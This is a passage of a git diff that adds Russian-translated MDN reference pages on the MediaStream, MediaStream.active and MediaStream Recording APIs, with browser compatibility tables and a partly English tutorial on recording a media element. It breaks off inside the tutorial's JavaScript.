+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>41.0</p>
+   </td>
+   <td>41.0</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Available after switching the <code>about:config</code> preference <code>media.mediasource.enabled</code> to <code>true</code>. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.</p>
+
+<p>[2] Only works on Windows 8+.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediastream/active/index.html b/files/ru/web/api/mediastream/active/index.html
new file mode 100644
index 0000000000..2c94693316
--- /dev/null
+++ b/files/ru/web/api/mediastream/active/index.html
@@ -0,0 +1,53 @@
+---
+title: active
+slug: Web/API/MediaStream/active
+translation_of: Web/API/MediaStream/active
+---
+<p>{{APIRef("Media Capture and Streams")}}</p>
+
+<p>Свойство только для чтения <strong><code>active</code></strong> интерфейса {{domxref("MediaStream")}} возвращает логическое значение, которое может быть <code>true</code>, если стрим активен; во всех остальных случаях, будет возвращён <code>false</code>. Стрим считается <strong>активным,</strong> если хотя бы один из {{domxref("MediaStreamTrack")}} не находится в состоянии {{domxref("MediaStreamTrack.ended")}}. Как только все track завершатся, свойство <code>active</code> переключится в состояние <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>isActive</em> = <em>MediaStream</em>.active;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Логическое значение равно <code>true</code>, если стрим активен; в противном случае, возвращается <code>false</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере, стрим ведётся с пользовательского микрофона и веб-камеры, запрошенных с помощью {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}. Когда стрим становится активным (а это тогда, когда выполнен {{jsxref("Promise")}}, кнопка на странице обновляется, опираясь на состояние стрима, активен он или же нет.</p>
+
+<pre class="brush: js">var promise = navigator.mediaDevices.getUserMedia({
+  audio: true,
+  video: true
+});
+
+promise.then(function(stream) {
+  var startBtn = document.querySelector('#startBtn');
+  startBtn.disabled = stream.active;
+};)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#widl-MediaStream-active', 'active')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Определено.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaStream.active")}}</p>
diff --git a/files/ru/web/api/mediastream/index.html b/files/ru/web/api/mediastream/index.html
new file mode 100644
index 0000000000..1ad0887194
--- /dev/null
+++ b/files/ru/web/api/mediastream/index.html
@@ -0,0 +1,134 @@
+---
+title: MediaStream
+slug: Web/API/MediaStream
+tags:
+  - API
+  - Media Streams API
+  - MediaStream
+  - Reference
+  - TopicStub
+  - WebRTC
+  - Интерфейс
+translation_of: Web/API/MediaStream
+---
+<p>{{APIRef("Media Capture and Streams")}}</p>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaStream</code></strong> представляет поток медиа данных. Поток состоит из нескольких <strong>треков</strong>, таких как видео и аудио треки. Каждый трек является экземпляром {{domxref("MediaStreamTrack")}}. MediaStream можно получить либо с помощью конструктора, либо вызовом {{domxref("MediaDevices.getUserMedia()")}}.</span></p>
+
+<p>Некоторые агенты предоставляют подклассы, чтобы привести более точную информацию или расширить функционал, например {{domxref("CanvasCaptureMediaStream")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaStream.MediaStream", "MediaStream()")}}</dt>
+ <dd>Создаёт и возвращает новый объект MediaStream. Можно создать пустой поток, поток, основанный на существующем или содержащий указанный список треков (массив объектов {{domxref("MediaStreamTrack")}}).</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс наследует свойства своего родителя, </em><em>{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.active")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <code>true</code>, если <code>MediaStream</code> активен, иначе <code>false</code>.</dd>
+ <dt>{{domxref("MediaStream.ended")}} {{readonlyInline}} {{obsolete_inline()}}</dt>
+ <dd>Возвращает <code style="font-size: 14px;">true</code>, если достигнут конец потока. Это свойство удалено из спецификации; следует проверять свойство {{domxref("MediaStreamTrack.readyState")}}, которое имеет значение <code>"ended"</code> у завершённых треков.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.id")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("DOMString")}}, содержащий 36 символов универсального уникального идентификатора (UUID) потока.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("MediaStream.onaddtrack")}}</dt>
+ <dd>Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("addtrack")}} при добавлении нового объекта {{domxref("MediaStreamTrack")}}.</dd>
+ <dt>{{domxref("MediaStream.onremovetrack")}}</dt>
+ <dd>Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("removetrack")}} при удалении объекта  {{domxref("MediaStreamTrack")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы своего родителя, </em><em>{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaStream.addTrack()")}}</dt>
+ <dd>Сохраняет копию данного объекта {{domxref("MediaStreamTrack")}}. Если данный трек добавлялся в <code>MediaStream</code> ранее, ничего не происходит.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.clone()")}}</dt>
+ <dd>Возвращает точную копию объекта <code>MediaStream</code>. Исключение составляет значение {{domxref("MediaStream.id", "id")}}, которое изменится на новое уникальное.</dd>
+</dl>
+
+<dl>
+ <dt><span style="line-height: 1.572;">{{domxref("MediaStream.getAudioTracks()")}}</span></dt>
+ <dd><span style="line-height: 1.572;">Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте </span><code style="font-size: 14px;">MediaStream</code><span style="line-height: 1.572;"> с атрибутом </span><code style="font-size: 14px;">kind</code><span style="line-height: 1.572;"> имеющим значение </span><code style="font-size: 14px;">"audio"</code><span style="line-height: 1.572;">. Порядок не определён и может меняться между браузерами, а также между вызовами.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.getTrackById()")}}</dt>
+ <dd>Возвращает трек с <code style="font-size: 14px;">trackid</code> соответствующем данному. Если в метод не передано аргументов или трека с данным ID нет, возвращает <code>null</code>. Если несколько треков имеют одинаковый ID, возвращает первый из них.</dd>
+ <dt>{{domxref("MediaStream.getTracks()")}}</dt>
+ <dd>Возвращает список всех объектов {{domxref("MediaStreamTrack")}}, сохранённых в объекте <code>MediaStream</code>, вне зависимости от значения их свойства <code>kind</code>. Порядок не определён и может меняться между брауерами, а также между вызовами.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.getVideoTracks()")}}</dt>
+ <dd><span style="line-height: 1.572;">Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте </span><code style="font-size: 14px;">MediaStream</code><span style="line-height: 1.572;"> с атрибутом </span><code style="font-size: 14px;">kind</code><span style="line-height: 1.572;"> имеющим значение </span><code style="font-size: 14px;">"video"</code><span style="line-height: 1.572;">. Порядок не определён и может меняться между браузерами, а также между вызовами.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.removeTrack()")}}</dt>
+ <dd>Удаляет данный объект {{domxref("MediaStreamTrack")}}. Если данный трек не сохранён в объекте <code style="font-size: 14px;">MediaStream</code>, ничего не происходит.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStream/addtrack_event">addtrack</a></code></dt>
+ <dd>Вызывается при добавлении нового объекта {{domxref("MediaStreamTrack")}}.<br>
+ Также доступно как свойство <code><a href="/en-US/docs/Web/API/MediaStream/onaddtrack">onaddtrack</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStream/removetrack_event">removetrack</a></code></dt>
+ <dd>Вызывается при удалении объекта {{domxref("MediaStreamTrack")}}.<br>
+ Также доступно как свойство <code><a href="/en-US/docs/Web/API/MediaStream/onremovetrack">onremovetrack</a></code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastream', 'MediaStream')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.MediaStream")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Использование интерфейса MediaStream</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html
new file mode 100644
index 0000000000..deafe13eed
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/index.html
@@ -0,0 +1,129 @@
+---
+title: MediaStream Recording API
+slug: Web/API/MediaStream_Recording_API
+translation_of: Web/API/MediaStream_Recording_API
+---
+<div>{{DefaultAPISidebar("MediaStream Recording")}}</div>
+
+<p><span class="seoSummary"><strong>MediaStream Recording API</strong>, иногда просто называемый <em>Media Recording API</em> или<em> MediaRecorder API</em>, тесно связан с <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a> и <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>. MediaStream Recording API делает возможным захват данных, сгенерированных {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} объектом для анализа, обработки или сохранения на дисковое пространство. С ним так же удивительно легко работать.</span></p>
+
+<h2 id="Базовая_концепция">Базовая концепция</h2>
+
+<p>MediaStream Recording API состоит из единого интерфейса, {{domxref("MediaRecorder")}}, который делает всю работу, принимая данные из {{domxref("MediaStream")}} и доставляя их обработчику. Данные поставляются с помощью серии {{event("dataavailable")}} событий, уже в том формате, который был указан, когда <code>MediaRecorder</code> был создан. Процесс записи потока прост:</p>
+
+<ol>
+ <li>Установите {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} (в виде {{HTMLElement("audio")}} или {{HTMLElement("video")}} элемента), чтобы тот служил в качестве источника медиа-данных.</li>
+ <li>Установите {{domxref("MediaRecorder.ondataavailable")}} обработчик событий для {{event("dataavailable")}} событий; он будет вызываться каждый раз, как данные будут доступны.</li>
+ <li>Создайте {{domxref("MediaRecorder")}} объект, указав исходный поток и любые опции по желанию (такие как MIME-тип контейнера или желаемый битрей его треков).</li>
+ <li>Как только исходная медиа запустится и будет достигнута точка, где вы будете готовы записать видео, вызовите {{domxref("MediaRecorder.start()")}} для начала записи.</li>
+ <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появлятся данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чье занчение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событи, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li>
+ <li>Запись останавливается автоматически, когда исходное медиа закончит проигрываться.</li>
+ <li>Вы можетет остановить запись в любое время, вызвав  {{domxref("MediaRecorder.stop()")}}.</li>
+</ol>
+
+<p>Вы можете так же использовать свойства MediaRecorder объекта для опредления состояния процесса записи и его {{domxref("MediaRecorder.pause", "pause()")}} и {{domxref("MediaRecorder.resume", "resume()")}} методы, чтобы остановить и возобновить запись исходной медиа.</p>
+
+<p>Если вам нужно или вы хотите проверить, поддерживается ли определенный MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p>
+
+<p>Чтобы узнать больше о MediaStream Recording API, смотрите <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a>, который показывает, как использовать API для записи аудио клипов. Другая статья, <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a>, описывает, как получить поток из  {{HTMLElement("audio")}} или {{HTMLElement("video")}} элементов и использовать захватывающие потоки (в этом случае, запись и сохранение их на локальный диск).</p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<p>{{domxref("BlobEvent")}}</p>
+
+<p>{{domxref("MediaRecorder")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The initial Firefox OS implementation only supported audio recording.</p>
+
+<p>[2] To use {{domxref("MediaRecorder")}} in Chrome 47 and 48, enable <strong>experimental Web Platform features</strong> from the <code>chrome://flags</code> page.</p>
+
+<p>[3] Audio recording works in Chrome 49 and above; Chrome 47 and 48 only support video recording.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a></li>
+ <li><a href="https://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a></li>
+ <li>{{domxref("navigator.mediaDevices.getUserMedia()")}}</li>
+ <li><a href="https://addpipe.com/blog/mediarecorder-api/">HTML5’s Media Recorder API in Action on Chrome and Firefox</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: HTML5 video capture/playback/download using getUserMedia and the MediaRecorder API (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+ <li><a href="https://www.fingerspell.org/">FingerSpell</a>: Sign Language Fingerspelling practice using getUserMedia and the MediaRecorder API to create and download recordings, MediaRecorder API supported desktop browsers only <a href="https://github.com/chrisjohndigital/CameraCaptureJS">(source on GitHub</a>)</li>
+ <li><a href="http://codepen.io/anon/pen/gpmPzm">Simple video recording demo</a></li>
+ <li><a href="https://quickblox.github.io/javascript-media-recorder/sample/">Advanced media stream recorder sample</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
new file mode 100644
index 0000000000..7d3daa1d33
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
@@ -0,0 +1,272 @@
+---
+title: Запись медиа элемента
+slug: Web/API/MediaStream_Recording_API/Recording_a_media_element
+translation_of: Web/API/MediaStream_Recording_API/Recording_a_media_element
+---
+<div>{{DefaultAPISidebar("MediaStream Recording")}}</div>
+
+<p>В статье Использование интерфейса MediaStream Recording API демонстрируется использование объекта типа {{domxref("MediaRecorder")}} для захвата потока, представляющего объект типа {{domxref("MediaStream")}} , сгенерированного аппаратными средствами устройства и возвращаемого методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, но можно также использовать HTML медиа элемент (а именно {{HTMLElement("audio")}} или {{HTMLElement("video")}})  в качестве источника потока <code>MediaStream</code> для его записи. В этой статье рассматривается пример выполняющий это.</p>
+
+<div id="Example">
+<h2 id="HTML_содержимое">HTML содержимое</h2>
+
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Click the "Start" button to begin video recording for a few seconds. You can stop
+   the video by clicking the creatively-named "Stop" button. The "Download"
+   button will download the received data (although it's in a raw, unwrapped form
+   that isn't very useful).
+&lt;/p&gt;
+&lt;br&gt;
+</pre>
+</div>
+
+<p>Рассмотрим ключевые моменты кода  HTML. Это только небольшой отрывок, относящийся к информационной части приложения.</p>
+
+<pre class="brush: html">&lt;div class="left"&gt;
+  &lt;div id="startButton" class="button"&gt;
+    Start
+  &lt;/div&gt;
+  &lt;h2&gt;Preview&lt;/h2&gt;
+  &lt;video id="preview" width="160" height="120" autoplay muted&gt;&lt;/video&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Основной интерфейс представляется в двух колонках. В левой находиться кнопка старта и элемент {{HTMLElement("video")}} , который отображает предварительный просмотр видео. Это видео, воспроизводится камерой устройства. Заметте, что используется атрибут {{htmlattrxref("autoplay", "video")}}, что бы поток начал воспроизводиться немедленно, снимаясь прямо  с камеры. Атрибут {{htmlattrxref("muted", "video")}} гарантирует отключение звука с микрофона, для предотвращения цикличного эхо эффекта.</p>
+
+<pre class="brush: html">&lt;div class="right"&gt;
+  &lt;div id="stopButton" class="button"&gt;
+    Stop
+  &lt;/div&gt;
+  &lt;h2&gt;Recording&lt;/h2&gt;
+  &lt;video id="recording" width="160" height="120" controls&gt;&lt;/video&gt;
+  &lt;a id="downloadButton" class="button"&gt;
+    Download
+  &lt;/a&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Справа мы видим кнопку остановки и элемент <code>&lt;video&gt;,</code> который будет использоваться для воспроизведения записанного видео. Обратите внимание, что на панели воспроизведения не установлен режим автозапуска (поэтому воспроизведение не начинается сразу после поступления мультимедиа), а также установлен атрибут {{htmlattrxref ("controls", "video")}}, что говорит о необходимости показывать пользовательские элементы управления для воспроизведения, паузы и т. д.</p>
+
+<p>Под элементом воспроизведения находится кнопка для загрузки записанного видео.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="bottom"&gt;
+  &lt;pre id="log"&gt;&lt;/pre&gt;
+&lt;/div&gt;</pre>
+<strong>CSS файл</strong>
+
+<pre class="brush: css">body {
+  font: 14px "Open Sans", "Arial", sans-serif;
+}
+
+video {
+  margin-top: 2px;
+  border: 1px solid black;
+}
+
+.button {
+  cursor: pointer;
+  display: block;
+  width: 160px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  text-decoration: none;
+}
+
+h2 {
+  margin-bottom: 4px;
+}
+
+.left {
+  margin-right: 10px;
+  float: left;
+  width: 160px;
+  padding: 0px;
+}
+
+.right {
+  margin-left: 10px;
+  float: left;
+  width: 160px;
+  padding: 0px;
+}
+
+.bottom {
+  clear: both;
+  padding-top: 10px;
+}</pre>
+</div>
+
+<h2 id="JavaScript">JavaScript</h2>
+
+<p>Теперь давайте посмотрим на код JavaScript</p>
+
+<h3 id="Установка_глобальных_переменных">Установка глобальных переменных</h3>
+
+<p>Мы начнем с установления некоторых глобальных переменных, которые нам понадобятся.</p>
+
+<pre class="brush: js">let preview = document.getElementById("preview");
+let recording = document.getElementById("recording");
+let startButton = document.getElementById("startButton");
+let stopButton = document.getElementById("stopButton");
+let downloadButton = document.getElementById("downloadButton");
+let logElement = document.getElementById("log");
+
+let recordingTimeMS = 5000;
+</pre>
+
+<p>Большинство из них являются ссылками на элементы, с которыми нам нужно работать. Последняя, <code>recordingTimeMS</code>, установлена на 5000 миллисекунд (5 секунд);.</p>
+
+<h3 id="Используемые_функции">Используемые функции</h3>
+
+<p>Далее мы создадим несколько служебных функций, которые будут использованы позже.</p>
+
+<pre class="brush: js">function log(msg) {
+  logElement.innerHTML += msg + "\n";
+}
+</pre>
+
+<p>Функция<code> log ()</code> используется для вывода текстовых строк в {{HTMLElement ("div")}}, чтобы мы могли делиться информацией с пользователем.</p>
+
+<pre class="brush: js">function wait(delayInMS) {
+  return new Promise(resolve =&gt; setTimeout(resolve, delayInMS));
+}
+</pre>
+
+<p>The <code>wait()</code> function returns a new {{jsxref("Promise")}} which resolves once the specified number of milliseconds have elapsed. It works by using an <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a> which calls {{domxref("window.setTimeout()")}}, specifying the promise's resolution handler as the timeout handler function. That lets us use promise syntax when using timeouts, which can be very handy when chaining promises, as we'll see later.</p>
+
+<h3 id="Starting_media_recording">Starting media recording</h3>
+
+<p>The <code>startRecording()</code> function handles starting the recording process:</p>
+
+<pre class="brush: js">function startRecording(stream, lengthInMS) {
+  let recorder = new MediaRecorder(stream);
+  let data = [];
+
+  recorder.ondataavailable = event =&gt; data.push(event.data);
+  recorder.start();
+  log(recorder.state + " for " + (lengthInMS/1000) + " seconds...");
+
+  let stopped = new Promise((resolve, reject) =&gt; {
+    recorder.onstop = resolve;
+    recorder.onerror = event =&gt; reject(event.name);
+  });
+
+  let recorded = wait(lengthInMS).then(
+    () =&gt; recorder.state == "recording" &amp;&amp; recorder.stop()
+  );
+
+  return Promise.all([
+    stopped,
+    recorded
+  ])
+  .then(() =&gt; data);
+}
+</pre>
+
+<p><code>startRecording()</code> takes two input parameters: a {{domxref("MediaStream")}} to record from and the length in milliseconds of the recording to make. We always record no more than the specified number of milliseconds of media, although if the media stops before that time is reached, {{domxref("MediaRecorder")}} automatically stops recording as well.</p>
+
+<dl>
+ <dt>Line 2</dt>
+ <dd>Creates the <code>MediaRecorder</code> that will handle recording the input <code>stream</code>.</dd>
+ <dt>Line 3</dt>
+ <dd>Creates an empty array, <code>data</code>, which will be used to hold the {{domxref("Blob")}}s of media data provided to our {{domxref("MediaRecorder.ondataavailable", "ondataavailable")}} event handler.</dd>
+ <dt>Line 5</dt>
+ <dd>Sets up the handler for the {{event("dataavailable")}} event. The received event's <code>data</code> property is a {{domxref("Blob")}} that contains the media data. The event handler simply pushes the <code>Blob</code> onto the <code>data</code> array.</dd>
+ <dt>Lines 6-7</dt>
+ <dd>Starts the recording process by calling {{domxref("MediaRecorder.start", "recorder.start()")}}, and outputs a message to the log with the updated state of the recorder and the number of seconds it will be recording.</dd>
+ <dt>Lines 9-12</dt>
+ <dd>Creates a new {{jsxref("Promise")}}, named <code>stopped</code>, which is resolved when the <code>MediaRecorder</code>'s {{domxref("MediaRecorder.onstop", "onstop")}} event handler is called, and is rejected if its {{domxref("MediaRecorder.onerror", "onerror")}} event handler is called. The rejection handler receives as input the name of the error that occurred.</dd>
+ <dt>Lines 14-16</dt>
+ <dd>Creates a new <code>Promise</code>, named <code>recorded</code>, which is resolved when the specified number of milliseconds have elapsed. Upon resolution, it stops the <code>MediaRecorder</code> if it's recording.</dd>
+ <dt>Lines 18-22</dt>
+ <dd>These lines create a new <code>Promise</code> which is fulfilled when both of the two <code>Promise</code>s (<code>stopped</code> and <code>recorded</code>) have resolved. Once that resolves, the array data is returned by <code>startRecording()</code> to its caller.</dd>
+</dl>
+
+<h3 id="Stopping_the_input_stream">Stopping the input stream</h3>
+
+<p>The <code>stop()</code> function simply stops the input media:</p>
+
+<pre class="brush: js">function stop(stream) {
+  stream.getTracks().forEach(track =&gt; track.stop());
+}
+</pre>
+
+<p>This works by calling {{domxref("MediaStream.getTracks()")}}, using {{jsxref("Array.forEach", "forEach()")}} to call {{domxref("MediaStreamTrack.stop()")}} on each track in the stream.</p>
+
+<h3 id="Getting_an_input_stream_and_setting_up_the_recorder">Getting an input stream and setting up the recorder</h3>
+
+<p>Now let's look at the most intricate piece of code in this example: our event handler for clicks on the start button:</p>
+
+<pre class="brush: js">startButton.addEventListener("click", function() {
+  navigator.mediaDevices.getUserMedia({
+    video: true,
+    audio: true
+  }).then(stream =&gt; {
+    preview.srcObject = stream;
+    downloadButton.href = stream;
+    preview.captureStream = preview.captureStream || preview.mozCaptureStream;
+    return new Promise(resolve =&gt; preview.onplaying = resolve);
+  }).then(() =&gt; startRecording(preview.captureStream(), recordingTimeMS))
+  .then (recordedChunks =&gt; {
+    let recordedBlob = new Blob(recordedChunks, { type: "video/webm" });
+    recording.src = URL.createObjectURL(recordedBlob);
+    downloadButton.href = recording.src;
+    downloadButton.download = "RecordedVideo.webm";
+
+    log("Successfully recorded " + recordedBlob.size + " bytes of " +
+        recordedBlob.type + " media.");
+  })
+  .catch(log);
+}, false);</pre>
+
+<p>When a {{event("click")}} event occurs, here's what happens:</p>
+
+<dl>
+ <dt>Lines 2-4</dt>
+ <dd>{{domxref("navigator.mediaDevices.getUserMedia()")}} is called to request a new {{domxref("MediaStream")}} that has both video and audio tracks. This is the stream we'll record.</dd>
+ <dt>Lines 5-9</dt>
+ <dd>When the Promise returned by <code>getUserMedia()</code> is resolved, the preview {{HTMLElement("video")}} element's {{domxref("HTMLMediaElement.srcObject","srcObject")}} property is set to be the input stream, which causes the video being captured by the user's camera to be displayed in the preview box. Since the <code>&lt;video&gt;</code> element is muted, the audio won't play. The "Download" button's link is then set to refer to the stream as well. Then, in line 8, we arrange for <code>preview.captureStream()</code> to call <code>preview.mozCaptureStream()</code> so that our code will work on Firefox, on which the {{domxref("MediaRecorder.captureStream()")}} method is prefixed. Then a new {{jsxref("Promise")}} which resolves when the preview video starts to play is created and returned.</dd>
+ <dt>Line 10</dt>
+ <dd>When the preview video begins to play, we know there's media to record, so we respond by calling the <code>{{anch("Starting media recording", "startRecording()")}}</code> function we created earlier, passing in the preview video stream (as the source media to be recorded) and <code>recordingTimeMS</code> as the number of milliseconds of media to record. As mentioned before, <code>startRecording()</code> returns a {{jsxref("Promise")}} whose resolution handler is called (receiving as input an array of {{domxref("Blob")}} objects containing the chunks of recorded media data) once recording has completed.</dd>
+ <dt>Lines 11-15</dt>
+ <dd>The recording process's resolution handler receives as input an array of media data <code>Blob</code>s locally known as <code>recordedChunks</code>. The first thing we do is merge the chunks into a single {{domxref("Blob")}} whose MIME type is <code>"video/webm"</code> by taking advantage of the fact that the {{domxref("Blob.Blob", "Blob()")}} constructor concatenates arrays of objects into one object. Then {{domxref("URL.createObjectURL()")}} is used to create an URL that references the blob; this is then made the value of the recorded video playback element's {{htmlattrxref("src", "video")}} attribute (so that you can play the video from the blob) as well as the target of the download button's link.
+ <p>Then the download button's {{htmlattrxref("download", "a")}} attribute is set. While the <code>download</code> attribute can be a Boolean, you can also set it to a string to use as the name for the downloaded file. So by setting the download link's <code>download</code> attribute to "RecordedVideo.webm", we tell the browser that clicking the button should download a file named <code>"RecordedVideo.webm"</code> whose contents are the recorded video.</p>
+ </dd>
+ <dt>Lines 17-18</dt>
+ <dd>The size and type of the recorded media are output to the log area below the two videos and the download button.</dd>
+ <dt>Line 20</dt>
+ <dd>The <code>catch()</code> for all the <code>Promise</code>s outputs the error to the logging area by calling our <code>log()</code> function.</dd>
+</dl>
+
+<h3 id="Handling_the_stop_button">Handling the stop button</h3>
+
+<p>The last bit of code adds a handler for the {{event("click")}} event on the stop button using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p>
+
+<pre class="brush: js">stopButton.addEventListener("click", function() {
+  stop(preview.srcObject);
